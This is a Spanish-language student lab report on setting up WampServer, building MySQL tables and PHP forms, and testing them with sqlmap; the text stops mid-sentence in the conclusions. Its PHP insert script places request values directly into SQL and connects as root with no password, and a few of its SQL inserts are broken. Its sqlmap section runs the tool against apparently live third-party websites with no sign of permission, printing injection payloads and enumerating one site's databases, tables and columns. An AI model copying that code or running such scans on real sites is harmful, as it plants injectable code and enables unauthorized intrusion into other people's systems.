Logo Studenta

9 PRACTICA 2 SEGURIDAD BASES DE DATOS

¡Este material tiene más páginas!

Vista previa del material en texto

1 
Practica 2: Creación de Bases de Datos en Wampserver y 
Revisión de vulnerabilidades en bases de datos con SQLMAP 
 
 
 
 
 
 
 
 
 
 
 
Ing. Gilbert Jair Sánchez Ávila Código: 91524737 
 
Grupo 233009A_220 
 
 
 
 
 
Presentado a: 
Ing-Esp. Manuel Antonio Sierra Rodríguez 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Universidad Nacional Abierta y a Distancia – Unad 
Especialización En Seguridad Informática 
Seguridad En Bases de Datos (Postgrado) 
Cead Bucaramanga 
Mayo del 2015 
 
 
 
2 
 
INTRODUCCION 
 
En este informe realizaremos unas pruebas en bases de datos instalando wampserver en el 
equipo bases que es Windows 7 , realizando unas tablas y un ejemplo de formulario en php 
que inserta y muestra el registro de una de las tablas creadas. 
Luego probaremos esto con la herramienta SQLMAP instalada en la suite Backtrack 5r3 que 
tengo instalada en mi maquina virtual virtualbox de mi equipo. 
Mostraremos pantallazos y explicaciones de lo que sale al realizar esto , como prueba 
adicional para verificar la efectividad del programa SQLMAP probaremos esta herramienta 
sobre algunas páginas web predeterminadas y mostraremos imágenes y explicación de los 
resultados , también como complemento mostraremos los scripts que sirven para realizar los 
procesos desde creación de bases de datos y tablas , hasta lo que muestra en pantalla 
SQLMAP cuando le damos ciertas ordenes que están en la guía de práctica. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3 
CONTENIDO 
 
 
PORTADA ............................................................................................................................... 1 
INTRODUCCION ...................................................................................................................... 2 
CONTENIDO ............................................................................................................................ 3 
INSTALAR WAMPSERVER ..................................................................................................... 4 
CREACION BASES DE DATOS EN WAMPSERVER .............................................................. 8 
EJEMPLO DE CREACION DE FORMULARIO EN PHP ....................................................... 16 
REVISAR PARAMETROS EN SQLMAP ................................................................................ 23 
OTROS PARAMETROS EN SQLMAP ................................................................................... 30 
CONCLUSIONES ................................................................................................................... 40 
REFERENCIAS ...................................................................................................................... 41 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4 
INSTALAR WAMPSERVER 
Aquí vemos la interfaz cuando bajamos el instalador de las respectivas páginas 
 
 
Elegimos la ruta de instalación 
 
 
 
 
 
5 
 
Le decimos si queremos acceso directo 
 
Aquí vemos un resumen de la instalación: 
 
 
 
 
 
 
6 
 
Aquí le dejamos los parámetros por defecto: 
 
También hay que indicarle el navegador que queremos que use , por lo general sale una 
ventana indicando que se use internet Explorer , pero yo le cambie para que funcione con 
google chrome buscando el ejecutable de google chrome en la carpeta google en archivos de 
programa. 
Una vez instalado nos sale esto en pantalla: 
 
 
 
 
7 
Si miramos bien la imagen nos aparece las opciones que sale en wampserver una vez 
instalado, le damos iniciar los servicios para que el icono (w) que es el de wampserver salga 
en verde y funcione las opciones de wampserver, le damos clic en phpmyadmin para crear la 
bases de datos (vamos a coger de ejemplo la que hicimos en la primera práctica de linux 
centos)asi se ve la interfaz de phpmyadmin: 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
8 
CREACION DE BASES DE DATOS EN WAMPSERVER 
 
Una vez abierto phpmyadmin en la sección de base de datos, si vemos esta imagen con 
detenimiento le damos un nombre y luego le damos clic en crear. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9 
Creación de tablas 
En la pestaña de SQL podemos crear las tablas a código como vemos en esta foto: 
 
 
Aquí vemos como van quedando los códigos de creación de tablas: 
 
 
 
 
 
10 
Aquí vemos como es la estructura de una tabla en mysql (ejemplo tabla buses): 
 
 
Ejemplo de insercion de registros: 
 
 
 
 
 
 
11 
En la imagen siguiente vemos como quedo la tabla socios, los códigos y scripts usados los 
mostraremos en un anexo mas adelante. 
 
 
 
 
 
 
 
 
 
 
 
 
 
12 
EJEMPLO DE SCRIPTS USADOS EN LA CREACION DE TABLAS E INSERCION DE 
REGISTROS 
CREACION DE TABLAS 
CREACION TABLA EMPRESA 
create table empresas 
(cod_empresa varchar(3) not null primary key, 
nom_empresa varchar(15))ENGINE=INNODB; 
 
CREACION TABLAS BUSES 
create table buses(cod_empresa varchar(3), 
cod_socio varchar(3), 
cod_interno_bus varchar(3) not null primary key, 
marca_bus varchar(20), 
modelo_bus numeric(4), 
capacidad_bus varchar(3), 
constraint foranea_empresa_buses foreign key(cod_empresa)references 
empresas(cod_empresa)on delete cascade, 
constraint foranea_socio_buses foreign key(cod_socio) references socios(cod_socio)on 
delete cascade)engine=innodb; 
CREACION TABLAS RUTAS 
create table rutas(cod_empresa varchar(3), 
cod_ruta varchar(3) not null primary key, 
nom_ruta varchar(15), 
tiempo_promedio_ruta varchar(15), 
constraint foranea_empresas_rutas foreign key(cod_empresa)references 
empresas(cod_empresa)on delete cascade)engine=innodb; 
 
 
 
13 
 
CREACION TABLAS TRAYECTOS 
create table trayectos (cod_ruta varchar(3), 
por varchar(15), 
hasta varchar(15), 
constraint foranea_ruta_trayecto foreign key(cod_ruta)references rutas(cod_ruta)on delete 
cascade)engine=innodb; 
INSERTS 
EN TIPO_SOCIO: 
insert into tipo_socio values (1,'propietario'); 
insert into tipo_socio values (2,'conductor'); 
insert into tipo_socio values (3,'propietario_conductor'); 
 
 
EN SOCIO: 
insert into socios values (1,'s1','juan perez'); 
insert into socios values (1,'s2','diego sanchez'); 
insert into socios values (1,'s3','german silva'); 
insert into socios values (1,'s4','gilberto sanchez'); 
insert into socios values (1,'s5','lina marcela'); 
insert into socios values (2,'s6','juana de arco'); 
insert into socios values (2,'s7','jorge perez'); 
insert into socios values (1,'s8','maria teresa'); 
insert into socios values (1,'s9','gina maria'); 
insert into socios values (1,'s10','sandra milena); 
 
 
 
14 
 
 
 EN EMPRESA: 
 
insert into empresa values ('e1','contrander'); 
 insert into empresa values ('e2','cootrans'); 
 insert into empresa values ('e3','transfor'); 
 insert into empresa values ('e4','transgiron'); 
 insert into empresas values ('e5','transamerica'); 
 insert into empresas values ('e6','cootrasportadores'); 
 insert into empresas values ('e7','via libre'); 
 insert into empresas values ('e8','buses urbanos'); 
 insert into empresas values ('e9','buses turisticos'); 
 insert into empresas values ('e10','busetas bucaramanga'); 
 insert into empresas values ('e11','busetas giron'); 
 insert into empresas values ('e12','bus norte'); 
 insert into empresas values ('e13','transrionegro'); 
insert into empresas values ('e14','transpiedecuesta'); 
 insert into empresas values ('e15','transcaribe'); 
 
EN BUSES: 
insert into buses values ('e1','s1','b1','ford',1980,'30 personas'); 
insert into buses values ('e1','s1','b2','ford',1981,'45 personas'); 
insert into buses values ('e1','s1','b3','ford',1983,'48 personas'); 
insert into buses values ('e1','s1','b4','dodge',1970,'49 personas'); 
insert into buses values ('e2','s2','b5','dodge',1960,'58 personas'); 
 
 
15 
insert into buses values ('e2','s2','b6','chrysler',1963,'72 personas'); 
insert intobuses values ('e2','s2','b7','chevrolet',1983,'96 personas'); 
insert into buses values ('e1','s3','b8','ford',1985,'96 personas'); 
insert into buses values ('e3','s3','b9','ford',1981,'65 personas'); 
insert into buses values ('e3','s3','b10','ford',1990,'100 personas'); 
insert into buses values ('e1','s3','b11','chevrolet',1980,'100 personas'); 
insert into buses values ('e10','s3','b12','ford',1970,'60 personas'); 
insert into buses values ('e10','s1','b13','ford',1984,'60 personas'); 
insert into buses values ('e11','s1','b14','chrysler',1985,'40 personas'); 
 
EN RUTAS: 
insert into rutas values('e1','r1','ruta1','30 minutos'); 
insert into rutas values('e1','r2','ruta2','30 minutos'); 
insert into rutas values('e1','r3','ruta3','30 minutos'); 
insert into rutas values('e2','r4','ruta4','30 minutos'); 
insert into rutas values('e2','r5','ruta5','30 minutos'); 
insert into rutas values('e3','r6','ruta6','30 minutos'); 
insert into rutas values('e4','r7','ruta7','30 minutos'); 
insert into rutas values('e5','r8','ruta8','30 minutos'); 
insert into rutas values('e6','r9','ruta9','30 minutos'); 
insert into rutas values('e7','r10','ruta10','45 minutos'); 
insert into rutas values('e8','r11','ruta11','45 minutos'); 
insert into rutas values('e8','r12','ruta12','45 minutos'); 
insert into rutas values('e9','r13','ruta13','45 minutos'); 
 
 
 
 
16 
EJEMPLO CREACION FORMULARIO PHP 
Una vez hecha la base de datos en wampserver creamos los formularios en PHP usando un 
programa llamado notepad++ , una vez creados los scripts con código PHP se guarda en la 
carpeta de wampserver llamada www. 
De las tablas hechas vamos a crear en php una pagina con un formulario que inserte la 
nueva empresa , un código php que lo inserte y otro código php que muestre las empresas 
en una lista. 
Mas adelante mostraremos el código creado para insertar en un formulario la nueva empresa 
Una vez hecho esto y guardando esa pagina como insertaempresa1.php en la carpeta www 
de wampserver en la barra de arriba nos tiene que aparecer así: 
 
Si vemos esta imagen el recuadro rojo así tenemos que colocar en el wampserver , cuando 
abramos la sección localhost , aparece por defecto una interfaz de wampserver pero si le 
escribimos localhost/insertaempresa1.php en la barra de navegación nos aparecerá el 
formulario (siempre y cuando guardemos el código php en la carpeta www de wampserver en 
archivos de programa). 
Ahora si vemos esta imagen: 
 
 
17 
 
Asi podemos ver como aparecen las empresas que creamos en el formulario anterior. nótese 
que en la barra de navegación colocamos localhost/mostrarempresas.php. para que esta 
tabla aparezca en el navegador. 
 
 
 
 
 
 
 
 
 
 
 
18 
Script de la tabla de mostrar empresas: 
<!doctype html> 
<html> 
<head> 
 <title>Listado</title> 
 <style> 
 .tablalistado { 
 border-collapse: collapse; 
 box-shadow: 0px 0px 8px #000; 
 margin:20px; 
 } 
 .tablalistado th{ 
 border: 1px solid #000; 
 padding: 5px; 
 background-color:#ffd040; 
 } 
 .tablalistado td{ 
 border: 1px solid #000; 
 padding: 5px; 
 background-color:#ffdd73; 
 } 
 </style> 
</head> 
<body> 
 
 <?php 
 $con=mysqli_connect("localhost","root","","gjsanchez") or 
 die("Problemas con la conexión a la base de datos");//cadena de conexión y base de datos a usar 
 
 
 
19 
 $registros=mysqli_query($con,"select cod_empresa,nom_empresa from empresas") or 
 die(mysqli_error($con)); //hacemos un select de la tabla empresa 
 echo '<table class="tablalistado">';//llamamos a una clase de css para que la tabla se vea mejor 
 echo '<tr><th>Codigo empresa</th><th>Nombre</th></tr>'; 
 while ($reg=mysqli_fetch_array($registros)) //si hay registros los ordenamos y mostramos 
 { 
 echo '<tr>'; 
 echo '<td>'; 
 echo $reg['cod_empresa']; 
 echo '</td>'; 
 echo '<td>'; 
 echo $reg['nom_empresa']; 
 echo '</td>'; 
 echo '</tr>'; 
 } 
 echo '<table>'; 
 mysqli_close($con); 
 ?> 
</body> 
</html> 
Script del formulario para insertar empresas: se llama insertaempresa1.php 
<!doctype html> 
<html> 
<head> 
 <title>Insertar empresas</title> 
</head> 
<body> 
 <form method="post" action="insertaempresa2.php"> //envia a un formulario nuevo que nos realizara 
el insert 
 
 
20 
 Ingrese el codigo de la empresa: 
 <input type="text" name="codempresa" size="50" required> 
 <br> 
 Ingrese el nombre de la empresa 
 <input type="text" name="nomempresa" size="50" required> 
 <br> 
 <input type="submit" value="confirmar"> 
 </form> 
</body> 
</html> 
Script del formulario que realiza el a la hora de insertar empresas: se llama 
insertaempresa2.php 
<!doctype html> 
<html> 
<head> 
 <title>Alta</title> 
</head> 
<body> 
<?php 
$con=mysqli_connect("localhost","root","","gjsanchez")or die("error en la conexion de bases de 
datos");//conexión y selección de la base de datos a usar 
mysqli_query($con,"insert into empresas(cod_empresa,nom_empresa) values 
('$_REQUEST[codempresa]','$_REQUEST[nomempresa]')") or die(mysqli_error($con)); 
mysqli_close($con); //cerramos la conexion 
 echo 'la nueva empresa ya se almaceno'; 
 ?> 
</body> 
</html> 
 
 
 
 
21 
Notas: 
$con=mysqli_connect("localhost","root","","gjsanchez")or die("error en la conexion de bases de datos") 
Por motivos académicos y practicos dejamos esta conexión con estos parámetros pero a 
nivel de empresas y de seguridad informaticas se cambian los parámetros de conexión, se 
cambia el localhost por el nombre del servidor, en root se coloca el nombre de usuario del 
servidor, en “” se coloca un password de conexión y gjsanchez es la base de datos de 
nuestro ejemplo. 
 
mysqli_query($con,"insert into empresas(cod_empresa,nom_empresa) values 
('$_REQUEST[codempresa]','$_REQUEST[nomempresa]')") or die(mysqli_error($con)); 
esta linea de código es la que inserta en la tabla empresas de los campos cod_empresa y 
nom_empresa los valores tomados por el REQUEST que son los que almacenan los datos 
del textbox que hay en insertarempresa1.php , en caso de que no salga la orden 
mysql_error($con) nos indicara el numero de error. 
Ejemplos de imágenes con los códigos de insertar empresas 
Imagen insertaempresa1.php: 
 
 
 
 
 
 
22 
 
Imagen insertaempresa2.php: 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
23 
 
REVISAR PARAMETROS EN SQLMAP 
Vamos a revisar parámetros de la herramienta SQLMAP que viene incluida en la suite de 
Backtrack 5r3 (yo la tengo esta distribución instalada en mi equipo en virtualbox):
 
Si vemos esta imagen hay vemos que aparece sqlmap en la sección web exploitation tools 
que es una sección donde hay herramientas para descubrir vulnerabilidades de aplicaciones 
web y base de datos. 
Como yo la instalación de wampserver lo instale en en el equipo base donde tengo instalado 
Windows 7 pues yo coloque como dirección de prueba la dirección IP de mi equipo , como la 
supe: aplicando la técnica whois IP , esto se puede hacer escribiendo en el navegador de 
google esta frase y automáticamente nos aparece paginas web que nos ofrecen este función 
, me metí a la siguiente pagina una vez escrito la opción de google: 
https://www.whatismyip.com/ip-address-host-name-lookup/ y me aparece esta dirección IP 
que es la que usa mi equipo : 181.131.211.216 , esta dirección La voy a usar para probar la 
siguiente orden: ./sqlmap.py -u http://wwww.direccionweb.com o dirección IP –dbs 
 
 
https://www.whatismyip.com/ip-address-host-name-lookup/
 
 
24 
 
Si vemos esta imagen nos dice que la conexión esta fuera del tiempo osea no conecta con 
esta dirección IP. 
Vamos a ver un ejemplo de cómo esta orden muestra vulnerabilidades en la siguiente pagina 
web o blog de mi autoría: https://seguridadenredesgjsa.wordpress.com/:Sqlmap.py –u https://seguridadenredesgjsa.wordpress.com --dbs 
Donde –u es indicándole la url a escanear y --dbs es para indicarle que devuelva el numero y 
la base de datos. 
https://seguridadenredesgjsa.wordpress.com/
 
 
25 
 
Aquí vemos en la imagen que la url evaluada no es estable , que sql map compara 
secuencias no dinámicas y parámetros de inyección son detectados (lo que dice el mensaje 
en ingles). Podemos continuar o aplicar string o regex para visualizar mas parámetros de esa 
pagina. 
Los --string y --regex opciones tienen que ver con la identificación de respuestas válidas 
desde el servidor que contiene datos de los resultados, y la extracción de los datos. 
Si le damos la opción string esto me sale, ver imagen siguiente: 
Nos dice que los parámetros no son inyectables aunque hay que realizar mas tests (según el 
texto en ingles de la página siguiente). 
 
 
 
26 
 
Probando con la dirección IP del virtualbox: 
 
La buscamos en conexión de red , le damos clic en estado y luego en propiedades vemos la 
siguiente dirección IPv4: 192.168.56.1 
Esto es lo que nos salió probándolo con el sqlmap de backtrack: 
 
 
27 
root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://192.168.56.1 -D sqlinjection -tables 
 sqlmap/0.9 - automatic SQL injection and database takeover tool 
 http://sqlmap.sourceforge.net 
[*] starting at: 21:20:53 
[21:20:53] [INFO] using '/pentest/web/scanners/sqlmap/output/192.168.56.1/session' as session file 
[21:20:53] [INFO] testing connection to the target url 
[21:21:23] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the 
request 
[21:21:54] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the 
request 
[21:22:25] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the 
request 
[21:22:56] [CRITICAL] connection timed out to the target url or proxy 
 
[*] shutting down at: 21:22:56 
root@bt:/pentest/web/scanners/sqlmap# 
lo que significa que la conexión no es estable y no se deja ejecutar algún parámetro. 
Lo mismo nos paso cuando probamos la dirección ip del localhost de wampserver 127.0.0.1 
nos salió esto mismo. 
Ejemplo de una página que le funciono la orden: 
./sqlmap.py -u http://wwww.direccionweb.com o dirección IP-- dbs 
Tomamos como ejemplo una pagina que usamos como ejemplo para hacer el formulario de 
PHP y esta pagina: 
http://www.phpya.com.ar/index.php?inicio=40 , por lo general las paginas que tiene este tipo 
de extensiones php al final son las que tienen mas riesgos de vulnerabilidades en bases de 
datos. 
./sqlmap.py -u http:// http://www.phpya.com.ar/index.php?inicio=40 –dbs 
 
Como podemos ver empieza a evaluar la pagina ver dos imágenes siguientes: 
 
http://www.phpya.com.ar/index.php?inicio=40
 
 
28 
 
Continuación de la secuencia: 
 
 
 
 
 
29 
 
Otro ejemplo de página que le funciona la orden anterior: 
http://www.mascar.it/product.php?id=1 
Pagina web de tractores (ver mas información en referencias) la probamos con la siguiente 
orden: 
./sqlmap.py –u http:// http://www.mascar.it/product.php?id=1 –dbs 
Sale los mismos pantallazos que la pagina anterior pero con esta excepción ver siguiente 
imagen: 
 
Aquí esta imagen nos dice que el parámetro id es vulnerable sqlmap identifico las siguientes 
vulnerabilidades, que si queremos seguir probando le damos yes 
En esta imagen podemos ver que bases de datos y otras características como sistema 
operativo(Windows 2003), aplicaciones web (ASPNET, MICROSOFT IIS 6.0, PHP 
5.3.1),manejador de bases de datos:MYSQL5.0 y 3 bases de datos; 
information_schema,mascar,mysql 
 Ver la siguiente imagen con detalle 
 
 
 
30 
OTROS PARAMETROS SQLMAP 
Si usamos: ./sqlmap.py –u http://www.mascar.it/product.php?id=1 -D mascar --tables 
Nos sale lo siguiente: 
 
La opción –D es el parámetro de bases de datos luego colocamos el nombre de alguna base 
de datos colocamos mascar por ejemplo, luego colocamos el parámetro --tables y sabremos 
las tablas que contiene la base de datos mascar. 
Nos sale también la misma imagen si usamos esto con la variable sqlinjection: 
./sqlmap.py –u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection –tables 
(Esta es la que nos piden probar en el pdf de la práctica). 
Si probamos esta orden ver imagen: 
 
./sqlmap.py –u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection -T news -
-columns 
Donde –T es el nombre de la tabla en este caso yo eleji la table news y --colums es para ver 
las columnas de esa tabla. 
 
 
 
31 
Y esto es lo que sale en la tabla news: 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
32 
Ahora colocaremos los scripts de las órdenes y lo que sale en el backtrack como 
anexo: 
./sqlmap.py -u http://www.mascar.it/product.php?id=1 –dbs 
Resultado: 
root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 --dbs 
 sqlmap/0.9 - automatic SQL injection and database takeover tool 
 http://sqlmap.sourceforge.net 
[*] starting at: 23:44:37 
[23:44:38] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file 
[23:44:38] [INFO] testing connection to the target url 
[23:44:39] [INFO] testing if the url is stable, wait a few seconds 
[23:44:41] [INFO] url is stable 
[23:44:41] [INFO] testing if GET parameter 'id' is dynamic 
[23:44:42] [INFO] confirming that GET parameter 'id' is dynamic 
[23:44:43] [INFO] GET parameter 'id' is dynamic 
[23:44:44] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL) 
[23:44:44] [INFO] testing sql injection on GET parameter 'id' 
[23:44:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 
[23:44:47] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[23:44:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 
[23:44:48] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[23:44:48] [INFO] testing 'MySQL > 5.0.11 stacked queries' 
[23:44:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' 
[23:45:48] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 
[23:45:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' 
[23:45:54] [INFO] target url appears to be UNION injectable with 5 columns 
[23:45:56] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y 
sqlmap identified the following injection points with a total of 21 HTTP(s) requests: 
--- 
 
 
33 
Place: GET 
Parameter: id 
 Type: boolean-based blind 
 Title: AND boolean-based blind - WHERE or HAVING clause 
 Payload: id=1 AND 7925=7925 
 
 Type: error-based 
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
 Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE 
WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM 
information_schema.tables GROUP BY x)a) 
 Type: UNION query 
 Title: MySQL UNION query (NULL) - 1 to 10 columns 
 Payload: id=1 UNION ALL SELECT NULL, 
CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS 
CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# 
 
 Type: AND/OR time-based blind 
 Title: MySQL > 5.0.11 AND time-based blind 
 Payload: id=1 AND SLEEP(5) 
 [23:47:02] [INFO] the back-end DBMS is MySQL 
web server operating system: Windows 2003 
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 
back-end DBMS: MySQL 5.0 
[23:47:02] [INFO] fetching database names 
available databases [3]: 
[*] information_schema 
[*] mascar 
[*] mysql 
[23:47:03] [INFO] Fetched data logged totext files under '/pentest/web/scanners/sqlmap/output/www.mascar.it' 
[*] shutting down at: 23:47:03 
 
 
 
34 
 
./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar --tables 
resultado 
root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar --tables 
 sqlmap/0.9 - automatic SQL injection and database takeover tool 
 http://sqlmap.sourceforge.net 
[*] starting at: 00:21:55 
 
[00:21:55] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file 
[00:21:55] [INFO] resuming injection data from session file 
[00:21:55] [INFO] resuming back-end DBMS 'mysql 5.0' from session file 
[00:21:55] [INFO] testing connection to the target url 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:--- 
Place: GET 
Parameter: id 
 Type: boolean-based blind 
 Title: AND boolean-based blind - WHERE or HAVING clause 
 Payload: id=1 AND 7925=7925 
 Type: error-based 
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
 Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE 
WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM 
information_schema.tables GROUP BY x)a) 
 Type: UNION query 
 Title: MySQL UNION query (NULL) - 1 to 10 columns 
 Payload: id=1 UNION ALL SELECT NULL, 
CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS 
CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# 
 Type: AND/OR time-based blind 
 Title: MySQL > 5.0.11 AND time-based blind 
 Payload: id=1 AND SLEEP(5) 
[00:21:57] [INFO] the back-end DBMS is MySQL 
 
 
35 
web server operating system: Windows 2003 
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 
back-end DBMS: MySQL 5.0 
[00:21:57] [INFO] fetching tables for database 'mascar' 
Database: mascar 
[15 tables] 
+--------------------+ 
| ac_aree | 
| ac_aree_lingue | 
| ac_documenti | 
| ac_utenti | 
| ac_utenti_aree | 
| contatti | 
| lingue | 
| nazioni | 
| news | 
| p_categorie | 
| p_categorie_lingue | 
| p_prodotti | 
| p_prodotti_doc | 
| p_prodotti_img | 
| p_prodotti_lingue | 
+--------------------+ 
[00:21:59] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.mascar.it' 
[*] shutting down at: 00:21:59 
root@bt:/pentest/web/scanners/sqlmap 
 
 
 
 
 
 
36 
 
./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection --tables 
resultado 
root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar 
sqlinjection --tables 
 
 sqlmap/0.9 - automatic SQL injection and database takeover tool 
 http://sqlmap.sourceforge.net 
 
[*] starting at: 00:32:21 
 
[00:32:22] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file 
[00:32:22] [INFO] resuming injection data from session file 
[00:32:22] [INFO] resuming back-end DBMS 'mysql 5.0' from session file 
[00:32:22] [INFO] testing connection to the target url 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: GET 
Parameter: id 
 Type: boolean-based blind 
 Title: AND boolean-based blind - WHERE or HAVING clause 
 Payload: id=1 AND 7925=7925 
 Type: error-based 
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
 Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE 
WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM 
information_schema.tables GROUP BY x)a) 
 Type: UNION query 
 Title: MySQL UNION query (NULL) - 1 to 10 columns 
 Payload: id=1 UNION ALL SELECT NULL, 
CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS 
CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# 
 
 
37 
 Type: AND/OR time-based blind 
 Title: MySQL > 5.0.11 AND time-based blind 
 Payload: id=1 AND SLEEP(5) 
[00:32:23] [INFO] the back-end DBMS is MySQL 
web server operating system: Windows 2003 
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 
back-end DBMS: MySQL 5.0 
[00:32:23] [INFO] fetching tables for database 'mascar' 
[00:32:23] [INFO] read from file '/pentest/web/scanners/sqlmap/output/www.mascar.it/session': mascar, ac_aree, 
mascar, ac_aree_lingue, mascar, ac_documenti, mascar, ac_utenti, mascar, ac_utenti_aree, mascar, contatti, 
mascar, lingue, mascar, nazioni, mascar, news, mascar, p_categorie, mascar, p_categorie_lingue, mascar, 
p_prodotti, mascar, p_prodotti_doc, mascar, p_prodotti_img, mascar, p_prodotti_lingue 
Database: mascar 
[15 tables] 
+--------------------+ 
| ac_aree | 
| ac_aree_lingue | 
| ac_documenti | 
| ac_utenti | 
| ac_utenti_aree | 
| contatti | 
| lingue | 
| nazioni | 
| news | 
| p_categorie | 
| p_categorie_lingue | 
| p_prodotti | 
| p_prodotti_doc | 
| p_prodotti_img | 
| p_prodotti_lingue | 
+--------------------+ 
[00:32:23] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.mascar.it' 
 
 
38 
[*] shutting down at: 00:32:23 
./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection -T news –
columns 
resultado 
root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar 
sqlinjection -T news --columns 
 sqlmap/0.9 - automatic SQL injection and database takeover tool 
 http://sqlmap.sourceforge.net 
[*] starting at: 00:47:15 
[00:47:15] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file 
[00:47:15] [INFO] resuming injection data from session file 
[00:47:15] [INFO] resuming back-end DBMS 'mysql 5.0' from session file 
[00:47:15] [INFO] testing connection to the target url 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
Place: GET 
Parameter: id 
 Type: boolean-based blind 
 Title: AND boolean-based blind - WHERE or HAVING clause 
 Payload: id=1 AND 7925=7925 
 Type: error-based 
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
 Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE 
WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM 
information_schema.tables GROUP BY x)a) 
 Type: UNION query 
 Title: MySQL UNION query (NULL) - 1 to 10 columns 
 Payload: id=1 UNION ALL SELECT NULL, 
CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS 
CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# 
 Type: AND/OR time-based blind 
 Title: MySQL > 5.0.11 AND time-based blind 
 Payload: id=1 AND SLEEP(5) 
[00:47:16] [INFO] the back-end DBMS is MySQL 
 
 
39 
web server operating system: Windows 2003 
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 
back-end DBMS: MySQL 5.0 
[00:47:16] [INFO] fetching columns for table 'news' on database 'mascar' 
Database: mascar 
Table: news 
[18 columns] 
+------------------+--------------+ 
| Column | Type | 
+------------------+--------------+ 
| alt_immagine | varchar(150) | 
| creationdate | datetime | 
| home | tinyint(1) | 
| html_description | varchar(255) | 
| html_title | varchar(255) | 
| immagine | varchar(200) | 
| langid | char(2) | 
| lastupdate | datetime | 
| newsdate | date | 
| newsid | int(3) | 
| nome_link | varchar(150) | 
| nomefile| varchar(100) | 
| press | tinyint(1) | 
| sponsorid | int(2) | 
| testo | varchar(255) | 
| testo_big | text | 
| titolo | varchar(150) | 
| valore_link | varchar(200) | 
+------------------+--------------+ 
[00:47:17] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.mascar.it'[*] 
shutting down at: 00:47:17 
 
 
40 
CONCLUSIONES 
 
 Las páginas web que a lo último tienen extensiones terminadas en php son de las que 
